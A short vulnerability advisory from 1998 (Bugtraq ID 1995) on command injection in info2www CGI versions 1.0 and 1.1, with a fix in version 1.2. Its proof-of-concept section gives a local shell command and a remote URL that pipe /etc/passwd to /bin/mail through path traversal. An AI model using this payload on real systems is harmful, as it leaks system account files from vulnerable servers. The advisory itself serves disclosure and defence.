Info2www CGI Input Handling Vulnerability

BID:1995

Info

Info2www CGI Input Handling Vulnerability

Bugtraq ID: 1995
Class: Input Validation Error
CVE:
Remote: Yes
Local: Yes
Published: Mar 03 1998 12:00AM
Updated: Mar 03 1998 12:00AM
Credit: This issue was first posted to BugTraq on March 3, 1998 by Niall Smart < [email protected] >
Vulnerable: Roar Smith info2www 1.1
Roar Smith info2www 1.0
Not Vulnerable: Roar Smith info2www 1.2

Exploit / POC

Info2www CGI Input Handling Vulnerability

Locally:
$ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail recipient </etc/passwd|)'
$
You have new mail.
$

Remotely:
http://targethost/cgi-bin/info2www?(../../../../../../../../bin/mail recipient </etc/passwd|)

Solution / Fix

Info2www CGI Input Handling Vulnerability

Solution:
Version 1.2 of the script does not suffer from this issue.

References

Info2www CGI Input Handling Vulnerability

References:
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